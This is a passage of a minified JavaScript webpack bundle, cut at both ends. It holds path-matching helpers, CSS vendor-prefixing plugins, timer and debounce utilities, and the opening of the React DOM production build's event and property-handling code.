f,d=l[c.name];if(null==d){if(c.optional){c.partial&&(i+=c.prefix);continue}throw new TypeError('Expected "'+c.name+'" to be defined')}if(r(d)){if(!c.repeat)throw new TypeError('Expected "'+c.name+'" to not repeat, but received `'+JSON.stringify(d)+"`");if(0===d.length){if(c.optional)continue;throw new TypeError('Expected "'+c.name+'" to not be empty')}for(var p=0;p<d.length;p++){if(f=u(d[p]),!n[s].test(f))throw new TypeError('Expected all "'+c.name+'" to match "'+c.pattern+'", but received `'+JSON.stringify(f)+"`");i+=(0===p?c.prefix:c.delimiter)+f}}else{if(f=c.asterisk?encodeURI(d).replace(/[?#]/g,(function(e){return"%"+e.charCodeAt(0).toString(16).toUpperCase()})):u(d),!n[s].test(f))throw new TypeError('Expected "'+c.name+'" to match "'+c.pattern+'", but received "'+f+'"');i+=c.prefix+f}}else i+=c}return i}}function u(e){return e.replace(/([.+*?=^!:${}()[\]|\/\\])/g,"\\$1")}function s(e){return e.replace(/([=!:$\/()])/g,"\\$1")}function c(e,t){return e.keys=t,e}function f(e){return e&&e.sensitive?"":"i"}function d(e,t,n){r(t)||(n=t||n,t=[]);for(var o=(n=n||{}).strict,i=!1!==n.end,a="",l=0;l<e.length;l++){var s=e[l];if("string"===typeof s)a+=u(s);else{var d=u(s.prefix),p="(?:"+s.pattern+")";t.push(s),s.repeat&&(p+="(?:"+d+p+")*"),a+=p=s.optional?s.partial?d+"("+p+")?":"(?:"+d+"("+p+"))?":d+"("+p+")"}}var h=u(n.delimiter||"/"),m=a.slice(-h.length)===h;return o||(a=(m?a.slice(0,-h.length):a)+"(?:"+h+"(?=$))?"),a+=i?"$":o&&m?"":"(?="+h+"|$)",c(new RegExp("^"+a,f(n)),t)}function p(e,t,n){return r(t)||(n=t||n,t=[]),n=n||{},e instanceof RegExp?function(e,t){var n=e.source.match(/\((?!\?)/g);if(n)for(var r=0;r<n.length;r++)t.push({name:r,prefix:null,delimiter:null,optional:!1,repeat:!1,partial:!1,asterisk:!1,pattern:null});return c(e,t)}(e,t):r(e)?function(e,t,n){for(var r=[],o=0;o<e.length;o++)r.push(p(e[o],t,n).source);return c(new RegExp("(?:"+r.join("|")+")",f(n)),t)}(e,t,n):function(e,t,n){return d(i(e,n),t,n)}(e,t,n)}},function(e,t,n){"use strict";e.exports={extractSingleTouch:function(e){var t=e.touches,n=e.changedTouches,r=t&&t.length>0,o=n&&n.length>0;return!r&&o?n[0]:r?t[0]:e}}},,function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.charAt(0).toUpperCase()+e.slice(1)}},function(e,t){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(r){"object"===typeof window&&(n=window)}e.exports=n},function(e,t,n){"use strict";e.exports=n(103)},function(e,t,n){var r=n(89);e.exports=function(e,t){if(null==e)return{};var n,o,i=r(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(o=0;o<a.length;o++)n=a[o],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}},function(e,t,n){e.exports=n(90)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=e.prefixMap,n=e.plugins;return function e(l){for(var u in l){var s=l[u];if((0,a.default)(s))l[u]=e(s);else if(Array.isArray(s)){for(var c=[],f=0,d=s.length;f<d;++f){var p=(0,o.default)(n,u,s[f],l,t);(0,i.default)(c,p||s[f])}c.length>0&&(l[u]=c)}else{var h=(0,o.default)(n,u,s,l,t);h&&(l[u]=h),l=(0,r.default)(t,u,l)}}return l}};var r=l(n(97)),o=l(n(98)),i=l(n(99)),a=l(n(100));function l(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("string"===typeof t&&"text"===t)return["-webkit-text","text"]}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("string"===typeof t&&!(0,i.default)(t)&&t.indexOf("cross-fade(")>-1)return a.map((function(e){return t.replace(/cross-fade\(/g,e+"cross-fade(")}))};var r,o=n(32),i=(r=o)&&r.__esModule?r:{default:r};var a=["-webkit-",""]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("cursor"===e&&o.hasOwnProperty(t))return r.map((function(e){return e+t}))};var r=["-webkit-","-moz-",""],o={"zoom-in":!0,"zoom-out":!0,grab:!0,grabbing:!0}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("string"===typeof t&&!(0,i.default)(t)&&t.indexOf("filter(")>-1)return a.map((function(e){return t.replace(/filter\(/g,e+"filter(")}))};var r,o=n(32),i=(r=o)&&r.__esModule?r:{default:r};var a=["-webkit-",""]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("display"===e&&r.hasOwnProperty(t))return r[t]};var r={flex:["-webkit-box","-moz-box","-ms-flexbox","-webkit-flex","flex"],"inline-flex":["-webkit-inline-box","-moz-inline-box","-ms-inline-flexbox","-webkit-inline-flex","inline-flex"]}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){Object.prototype.hasOwnProperty.call(o,e)&&(n[o[e]]=r[t]||t);if("flex"===e){if(Object.prototype.hasOwnProperty.call(i,t))return void(n.msFlex=i[t]);if(a.test(t))return void(n.msFlex=t+" 1 0%");var l=t.split(/\s/);switch(l.length){case 1:return void(n.msFlex="1 1 "+t);case 2:return void(a.test(l[1])?n.msFlex=l[0]+" "+l[1]+" 0%":n.msFlex=l[0]+" 1 "+l[1]);default:n.msFlex=t}}};var r={"space-around":"distribute","space-between":"justify","flex-start":"start","flex-end":"end"},o={alignContent:"msFlexLinePack",alignSelf:"msFlexItemAlign",alignItems:"msFlexAlign",justifyContent:"msFlexPack",order:"msFlexOrder",flexGrow:"msFlexPositive",flexShrink:"msFlexNegative",flexBasis:"msFlexPreferredSize"},i={auto:"1 1 auto",inherit:"inherit",initial:"0 1 auto",none:"0 0 auto",unset:"unset"},a=/^\d+(\.\d+)?$/},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n){"flexDirection"===e&&"string"===typeof t&&(t.indexOf("column")>-1?n.WebkitBoxOrient="vertical":n.WebkitBoxOrient="horizontal",t.indexOf("reverse")>-1?n.WebkitBoxDirection="reverse":n.WebkitBoxDirection="normal");o.hasOwnProperty(e)&&(n[o[e]]=r[t]||t)};var r={"space-around":"justify","space-between":"justify","flex-start":"start","flex-end":"end","wrap-reverse":"multiple",wrap:"multiple"},o={alignItems:"WebkitBoxAlign",justifyContent:"WebkitBoxPack",flexWrap:"WebkitBoxLines",flexGrow:"WebkitBoxFlex"}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("string"===typeof t&&!(0,i.default)(t)&&l.test(t))return a.map((function(e){return t.replace(l,(function(t){return e+t}))}))};var r,o=n(32),i=(r=o)&&r.__esModule?r:{default:r};var a=["-webkit-","-moz-",""],l=/linear-gradient|radial-gradient|repeating-linear-gradient|repeating-radial-gradient/gi},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("string"===typeof t&&!(0,i.default)(t)&&t.indexOf("image-set(")>-1)return a.map((function(e){return t.replace(/image-set\(/g,e+"image-set(")}))};var r,o=n(32),i=(r=o)&&r.__esModule?r:{default:r};var a=["-webkit-",""]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if("position"===e&&"sticky"===t)return["-webkit-sticky","sticky"]}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(o.hasOwnProperty(e)&&i.hasOwnProperty(t))return r.map((function(e){return e+t}))};var r=["-webkit-","-moz-",""],o={maxHeight:!0,maxWidth:!0,width:!0,height:!0,columnWidth:!0,minWidth:!0,minHeight:!0},i={"min-content":!0,"max-content":!0,"fill-available":!0,"fit-content":!0,"contain-floats":!0}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,n,a){if("string"===typeof t&&l.hasOwnProperty(e)){var s=function(e,t){if((0,o.default)(e))return e;for(var n=e.split(/,(?![^()]*(?:\([^()]*\))?\))/g),i=0,a=n.length;i<a;++i){var l=n[i],s=[l];for(var c in t){var f=(0,r.default)(c);if(l.indexOf(f)>-1&&"order"!==f)for(var d=t[c],p=0,h=d.length;p<h;++p)s.unshift(l.replace(f,u[d[p]]+f))}n[i]=s.join(",")}return n.join(",")}(t,a),c=s.split(/,(?![^()]*(?:\([^()]*\))?\))/g).filter((function(e){return!/-moz-|-ms-/.test(e)})).join(",");if(e.indexOf("Webkit")>-1)return c;var f=s.split(/,(?![^()]*(?:\([^()]*\))?\))/g).filter((function(e){return!/-webkit-|-ms-/.test(e)})).join(",");return e.indexOf("Moz")>-1?f:(n["Webkit"+(0,i.default)(e)]=c,n["Moz"+(0,i.default)(e)]=f,s)}};var r=a(n(101)),o=a(n(32)),i=a(n(58));function a(e){return e&&e.__esModule?e:{default:e}}var l={transition:!0,transitionProperty:!0,WebkitTransition:!0,WebkitTransitionProperty:!0,MozTransition:!0,MozTransitionProperty:!0},u={Webkit:"-webkit-",Moz:"-moz-",ms:"-ms-"}},function(e,t){function n(e,t,n){var r,o,i,a,l;function u(){var s=Date.now()-a;s<t&&s>=0?r=setTimeout(u,t-s):(r=null,n||(l=e.apply(i,o),i=o=null))}null==t&&(t=100);var s=function(){i=this,o=arguments,a=Date.now();var s=n&&!r;return r||(r=setTimeout(u,t)),s&&(l=e.apply(i,o),i=o=null),l};return s.clear=function(){r&&(clearTimeout(r),r=null)},s.flush=function(){r&&(l=e.apply(i,o),i=o=null,clearTimeout(r),r=null)},s}n.debounce=n,e.exports=n},function(e,t,n){"use strict";(function(t){var n="__global_unique_id__";e.exports=function(){return t[n]=(t[n]||0)+1}}).call(this,n(59))},function(e,t,n){"use strict";var r=n(60),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function u(e){return r.isMemo(e)?a:l[e.$$typeof]||o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var s=Object.defineProperty,c=Object.getOwnPropertyNames,f=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,n,r){if("string"!==typeof n){if(h){var o=p(n);o&&o!==h&&e(t,o,r)}var a=c(n);f&&(a=a.concat(f(n)));for(var l=u(t),m=u(n),g=0;g<a.length;++g){var v=a[g];if(!i[v]&&(!r||!r[v])&&(!m||!m[v])&&(!l||!l[v])){var y=d(n,v);try{s(t,v,y)}catch(b){}}}}return t}},function(e,t,n){var r=n(107),o=n(108),i=n(109);e.exports=function(e,t){return r(e)||o(e,t)||i()}},function(e,t,n){"use strict";(function(t){var n="undefined"===typeof window?t:window,r=function(e,t,n){return function(r,o){var i=e(function(){t.call(this,i),r.apply(this,arguments)}.bind(this),o);return this[n]?this[n].push(i):this[n]=[i],i}},o=function(e,t){return function(n){if(this[t]){var r=this[t].indexOf(n);-1!==r&&this[t].splice(r,1)}e(n)}},i="TimerMixin_timeouts",a=o(n.clearTimeout,i),l=r(n.setTimeout,a,i),u="TimerMixin_intervals",s=o(n.clearInterval,u),c=r(n.setInterval,(function(){}),u),f="TimerMixin_immediates",d=o(n.clearImmediate,f),p=r(n.setImmediate,d,f),h="TimerMixin_rafs",m=o(n.cancelAnimationFrame,h),g={componentWillUnmount:function(){this[i]&&this[i].forEach((function(e){n.clearTimeout(e)})),this[i]=null,this[u]&&this[u].forEach((function(e){n.clearInterval(e)})),this[u]=null,this[f]&&this[f].forEach((function(e){n.clearImmediate(e)})),this[f]=null,this[h]&&this[h].forEach((function(e){n.cancelAnimationFrame(e)})),this[h]=null},setTimeout:l,clearTimeout:a,setInterval:c,clearInterval:s,setImmediate:p,clearImmediate:d,requestAnimationFrame:r(n.requestAnimationFrame,m,h),cancelAnimationFrame:m};e.exports=g}).call(this,n(59))},function(e,t,n){"use strict";var r=n(7),o=n(5),i=n.n(o),a=r.canUseDOM?window.location.href:"",l={addEventListener:function(){},removeEventListener:function(){},canOpenURL:function(){return Promise.resolve(!0)},getInitialURL:function(){return Promise.resolve(a)},openURL:function(e){try{return u(e),Promise.resolve()}catch(t){return Promise.reject(t)}},_validateURL:function(e){i()("string"===typeof e,"Invalid URL: should be a string. Was: "+e),i()(e,"Invalid URL: cannot be empty")}},u=function(e){r.canUseDOM&&(window.location=new URL(e,window.location).toString())};t.a=l},,,,function(e,t,n){"use strict";var r=n(1),o=n(41),i=n(87);function a(e){for(var t=e.message,n="https://reactjs.org/docs/error-decoder.html?invariant="+t,r=1;r<arguments.length;r++)n+="&args[]="+encodeURIComponent(arguments[r]);return e.message="Minified React error #"+t+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings. ",e}if(!r)throw a(Error(227));var l=null,u={};function s(){if(l)for(var e in u){var t=u[e],n=l.indexOf(e);if(!(-1<n))throw a(Error(96),e);if(!f[n]){if(!t.extractEvents)throw a(Error(97),e);for(var r in f[n]=t,n=t.eventTypes){var o=void 0,i=n[r],s=t,p=r;if(d.hasOwnProperty(p))throw a(Error(99),p);d[p]=i;var h=i.phasedRegistrationNames;if(h){for(o in h)h.hasOwnProperty(o)&&c(h[o],s,p);o=!0}else i.registrationName?(c(i.registrationName,s,p),o=!0):o=!1;if(!o)throw a(Error(98),r,e)}}}}function c(e,t,n){if(p[e])throw a(Error(100),e);p[e]=t,h[e]=t.eventTypes[n].dependencies}var f=[],d={},p={},h={};function m(e,t,n,r,o,i,a,l,u){var s=Array.prototype.slice.call(arguments,3);try{t.apply(n,s)}catch(c){this.onError(c)}}var g=!1,v=null,y=!1,b=null,w={onError:function(e){g=!0,v=e}};function E(e,t,n,r,o,i,a,l,u){g=!1,v=null,m.apply(w,arguments)}var x=null,S=null,T=null;function O(e,t,n){var r=e.type||"unknown-event";e.currentTarget=T(n),function(e,t,n,r,o,i,l,u,s){if(E.apply(this,arguments),g){if(!g)throw a(Error(198));var c=v;g=!1,v=null,y||(y=!0,b=c)}}(r,t,void 0,e),e.currentTarget=null}function k(e,t){if(null==t)throw a(Error(30));return null==e?t:Array.isArray(e)?Array.isArray(t)?(e.push.apply(e,t),e):(e.push(t),e):Array.isArray(t)?[e].concat(t):[e,t]}function _(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}var P=null;function R(e){if(e){var t=e._dispatchListeners,n=e._dispatchInstances;if(Array.isArray(t))for(var r=0;r<t.length&&!e.isPropagationStopped();r++)O(e,t[r],n[r]);else t&&O(e,t,n);e._dispatchListeners=null,e._dispatchInstances=null,e.isPersistent()||e.constructor.release(e)}}function C(e){if(null!==e&&(P=k(P,e)),e=P,P=null,e){if(_(e,R),P)throw a(Error(95));if(y)throw e=b,y=!1,b=null,e}}var N={injectEventPluginOrder:function(e){if(l)throw a(Error(101));l=Array.prototype.slice.call(e),s()},injectEventPluginsByName:function(e){var t,n=!1;for(t in e)if(e.hasOwnProperty(t)){var r=e[t];if(!u.hasOwnProperty(t)||u[t]!==r){if(u[t])throw a(Error(102),t);u[t]=r,n=!0}}n&&s()}};function A(e,t){var n=e.stateNode;if(!n)return null;var r=x(n);if(!r)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":(r=!r.disabled)||(r=!("button"===(e=e.type)||"input"===e||"select"===e||"textarea"===e)),e=!r;break e;default:e=!1}if(e)return null;if(n&&"function"!==typeof n)throw a(Error(231),t,typeof n);return n}var j=Math.random().toString(36).slice(2),D="__reactInternalInstance$"+j,L="__reactEventHandlers$"+j;function I(e){if(e[D])return e[D];for(;!e[D];){if(!e.parentNode)return null;e=e.parentNode}return 5===(e=e[D]).tag||6===e.tag?e:null}function M(e){return!(e=e[D])||5!==e.tag&&6!==e.tag?null:e}function z(e){if(5===e.tag||6===e.tag)return e.stateNode;throw a(Error(33))}function F(e){return e[L]||null}function U(e){do{e=e.return}while(e&&5!==e.tag);return e||null}function B(e,t,n){(t=A(e,n.dispatchConfig.phasedRegistrationNames[t]))&&(n._dispatchListeners=k(n._dispatchListeners,t),n._dispatchInstances=k(n._dispatchInstances,e))}function W(e){if(e&&e.dispatchConfig.phasedRegistrationNames){for(var t=e._targetInst,n=[];t;)n.push(t),t=U(t);for(t=n.length;0<t--;)B(n[t],"captured",e);for(t=0;t<n.length;t++)B(n[t],"bubbled",e)}}function H(e,t,n){e&&n&&n.dispatchConfig.registrationName&&(t=A(e,n.dispatchConfig.registrationName))&&(n._dispatchListeners=k(n._dispatchListeners,t),n._dispatchInstances=k(n._dispatchInstances,e))}function V(e){e&&e.dispatchConfig.registrationName&&H(e._targetInst,null,e)}function Y(e){_(e,W)}var G=!("undefined"===typeof window||"undefined"===typeof window.document||"undefined"===typeof window.document.createElement);function $(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var X={animationend:$("Animation","AnimationEnd"),animationiteration:$("Animation","AnimationIteration"),animationstart:$("Animation","AnimationStart"),transitionend:$("Transition","TransitionEnd")},K={},q={};function Q(e){if(K[e])return K[e];if(!X[e])return e;var t,n=X[e];for(t in n)if(n.hasOwnProperty(t)&&t in q)return K[e]=n[t];return e}G&&(q=document.createElement("div").style,"AnimationEvent"in window||(delete X.animationend.animation,delete X.animationiteration.animation,delete X.animationstart.animation),"TransitionEvent"in window||delete X.transitionend.transition);var J=Q("animationend"),Z=Q("animationiteration"),ee=Q("animationstart"),te=Q("transitionend"),ne="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),re=null,oe=null,ie=null;function ae(){if(ie)return ie;var e,t,n=oe,r=n.length,o="value"in re?re.value:re.textContent,i=o.length;for(e=0;e<r&&n[e]===o[e];e++);var a=r-e;for(t=1;t<=a&&n[r-t]===o[i-t];t++);return ie=o.slice(e,1<t?1-t:void 0)}function le(){return!0}function ue(){return!1}function se(e,t,n,r){for(var o in this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n,e=this.constructor.Interface)e.hasOwnProperty(o)&&((t=e[o])?this[o]=t(n):"target"===o?this.target=r:this[o]=n[o]);return this.isDefaultPrevented=(null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue)?le:ue,this.isPropagationStopped=ue,this}function ce(e,t,n,r){if(this.eventPool.length){var o=this.eventPool.pop();return this.call(o,e,t,n,r),o}return new this(e,t,n,r)}function fe(e){if(!(e instanceof this))throw a(Error(279));e.destructor(),10>this.eventPool.length&&this.eventPool.push(e)}function de(e){e.eventPool=[],e.getPooled=ce,e.release=fe}o(se.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!==typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=le)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!==typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=le)},persist:function(){this.isPersistent=le},isPersistent:ue,destructor:function(){var e,t=this.constructor.Interface;for(e in t)this[e]=null;this.nativeEvent=this._targetInst=this.dispatchConfig=null,this.isPropagationStopped=this.isDefaultPrevented=ue,this._dispatchInstances=this._dispatchListeners=null}}),se.Interface={type:null,target:null,currentTarget:function(){return null},eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null},se.extend=function(e){function t(){}function n(){return r.apply(this,arguments)}var r=this;t.prototype=r.prototype;var i=new t;return o(i,n.prototype),n.prototype=i,n.prototype.constructor=n,n.Interface=o({},r.Interface,e),n.extend=r.extend,de(n),n},de(se);var pe=se.extend({data:null}),he=se.extend({data:null}),me=[9,13,27,32],ge=G&&"CompositionEvent"in window,ve=null;G&&"documentMode"in document&&(ve=document.documentMode);var ye=G&&"TextEvent"in window&&!ve,be=G&&(!ge||ve&&8<ve&&11>=ve),we=String.fromCharCode(32),Ee={beforeInput:{phasedRegistrationNames:{bubbled:"onBeforeInput",captured:"onBeforeInputCapture"},dependencies:["compositionend","keypress","textInput","paste"]},compositionEnd:{phasedRegistrationNames:{bubbled:"onCompositionEnd",captured:"onCompositionEndCapture"},dependencies:"blur compositionend keydown keypress keyup mousedown".split(" ")},compositionStart:{phasedRegistrationNames:{bubbled:"onCompositionStart",captured:"onCompositionStartCapture"},dependencies:"blur compositionstart keydown keypress keyup mousedown".split(" ")},compositionUpdate:{phasedRegistrationNames:{bubbled:"onCompositionUpdate",captured:"onCompositionUpdateCapture"},dependencies:"blur compositionupdate keydown keypress keyup mousedown".split(" ")}},xe=!1;function Se(e,t){switch(e){case"keyup":return-1!==me.indexOf(t.keyCode);case"keydown":return 229!==t.keyCode;case"keypress":case"mousedown":case"blur":return!0;default:return!1}}function Te(e){return"object"===typeof(e=e.detail)&&"data"in e?e.data:null}var Oe=!1;var ke={eventTypes:Ee,extractEvents:function(e,t,n,r){var o=void 0,i=void 0;if(ge)e:{switch(e){case"compositionstart":o=Ee.compositionStart;break e;case"compositionend":o=Ee.compositionEnd;break e;case"compositionupdate":o=Ee.compositionUpdate;break e}o=void 0}else Oe?Se(e,n)&&(o=Ee.compositionEnd):"keydown"===e&&229===n.keyCode&&(o=Ee.compositionStart);return o?(be&&"ko"!==n.locale&&(Oe||o!==Ee.compositionStart?o===Ee.compositionEnd&&Oe&&(i=ae()):(oe="value"in(re=r)?re.value:re.textContent,Oe=!0)),o=pe.getPooled(o,t,n,r),i?o.data=i:null!==(i=Te(n))&&(o.data=i),Y(o),i=o):i=null,(e=ye?function(e,t){switch(e){case"compositionend":return Te(t);case"keypress":return 32!==t.which?null:(xe=!0,we);case"textInput":return(e=t.data)===we&&xe?null:e;default:return null}}(e,n):function(e,t){if(Oe)return"compositionend"===e||!ge&&Se(e,t)?(e=ae(),ie=oe=re=null,Oe=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return be&&"ko"!==t.locale?null:t.data;default:return null}}(e,n))?((t=he.getPooled(Ee.beforeInput,t,n,r)).data=e,Y(t)):t=null,null===i?t:null===t?i:[i,t]}},_e=null,Pe=null,Re=null;function Ce(e){if(e=S(e)){if("function"!==typeof _e)throw a(Error(280));var t=x(e.stateNode);_e(e.stateNode,e.type,t)}}function Ne(e){Pe?Re?Re.push(e):Re=[e]:Pe=e}function Ae(){if(Pe){var e=Pe,t=Re;if(Re=Pe=null,Ce(e),t)for(e=0;e<t.length;e++)Ce(t[e])}}function je(e,t){return e(t)}function De(e,t,n,r){return e(t,n,r)}function Le(){}var Ie=je,Me=!1;function ze(){null===Pe&&null===Re||(Le(),Ae())}var Fe={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Ue(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!Fe[e.type]:"textarea"===t}function Be(e){return(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement),3===e.nodeType?e.parentNode:e}function We(e){if(!G)return!1;var t=(e="on"+e)in document;return t||((t=document.createElement("div")).setAttribute(e,"return;"),t="function"===typeof t[e]),t}function He(e){var t=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===t||"radio"===t)}function Ve(e){e._valueTracker||(e._valueTracker=function(e){var t=He(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&"undefined"!==typeof n&&"function"===typeof n.get&&"function"===typeof n.set){var o=n.get,i=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(e){r=""+e,i.call(this,e)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}(e))}function Ye(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=He(e)?e.checked?"true":"false":e.value),(e=r)!==n&&(t.setValue(e),!0)}var Ge=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;Ge.hasOwnProperty("ReactCurrentDispatcher")||(Ge.ReactCurrentDispatcher={current:null}),Ge.hasOwnProperty("ReactCurrentBatchConfig")||(Ge.ReactCurrentBatchConfig={suspense:null});var $e=/^(.*)[\\\/]/,Xe="function"===typeof Symbol&&Symbol.for,Ke=Xe?Symbol.for("react.element"):60103,qe=Xe?Symbol.for("react.portal"):60106,Qe=Xe?Symbol.for("react.fragment"):60107,Je=Xe?Symbol.for("react.strict_mode"):60108,Ze=Xe?Symbol.for("react.profiler"):60114,et=Xe?Symbol.for("react.provider"):60109,tt=Xe?Symbol.for("react.context"):60110,nt=Xe?Symbol.for("react.concurrent_mode"):60111,rt=Xe?Symbol.for("react.forward_ref"):60112,ot=Xe?Symbol.for("react.suspense"):60113,it=Xe?Symbol.for("react.suspense_list"):60120,at=Xe?Symbol.for("react.memo"):60115,lt=Xe?Symbol.for("react.lazy"):60116;Xe&&Symbol.for("react.fundamental"),Xe&&Symbol.for("react.responder");var ut="function"===typeof Symbol&&Symbol.iterator;function st(e){return null===e||"object"!==typeof e?null:"function"===typeof(e=ut&&e[ut]||e["@@iterator"])?e:null}function ct(e){if(null==e)return null;if("function"===typeof e)return e.displayName||e.name||null;if("string"===typeof e)return e;switch(e){case Qe:return"Fragment";case qe:return"Portal";case Ze:return"Profiler";case Je:return"StrictMode";case ot:return"Suspense";case it:return"SuspenseList"}if("object"===typeof e)switch(e.$$typeof){case tt:return"Context.Consumer";case et:return"Context.Provider";case rt:var t=e.render;return t=t.displayName||t.name||"",e.displayName||(""!==t?"ForwardRef("+t+")":"ForwardRef");case at:return ct(e.type);case lt:if(e=1===e._status?e._result:null)return ct(e)}return null}function ft(e){var t="";do{e:switch(e.tag){case 3:case 4:case 6:case 7:case 10:case 9:var n="";break e;default:var r=e._debugOwner,o=e._debugSource,i=ct(e.type);n=null,r&&(n=ct(r.type)),r=i,i="",o?i=" (at "+o.fileName.replace($e,"")+":"+o.lineNumber+")":n&&(i=" (created by "+n+")"),n="\n in "+(r||"Unknown")+i}t+=n,e=e.return}while(e);return t}var dt=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,pt=Object.prototype.hasOwnProperty,ht={},mt={};function gt(e,t,n,r,o,i){this.acceptsBooleans=2===t||3===t||4===t,this.attributeName=r,this.attributeNamespace=o,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=i}var vt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach((function(e){vt[e]=new gt(e,0,!1,e,null,!1)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((function(e){var t=e[0];vt[t]=new gt(t,1,!1,e[1],null,!1)})),["contentEditable","draggable","spellCheck","value"].forEach((function(e){vt[e]=new gt(e,2,!1,e.toLowerCase(),null,!1)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((function(e){vt[e]=new gt(e,2,!1,e,null,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach((function(e){vt[e]=new gt(e,3,!1,e.toLowerCase(),null,!1)})),["checked","multiple","muted","selected"].forEach((function(e){vt[e]=new gt(e,3,!0,e,null,!1)})),["capture","download"].forEach((function(e){vt[e]=new gt(e,4,!1,e,null,!1)})),["cols","rows","size","span"].forEach((function(e){vt[e]=new gt(e,6,!1,e,null,!1)})),["rowSpan","start"].forEach((function(e){vt[e]=new gt(e,5,!1,e.toLowerCase(),null,!1)}));var yt=/[\-:]([a-z])/g;function bt(e){return e[1].toUpperCase()}function wt(e,t,n,r){var 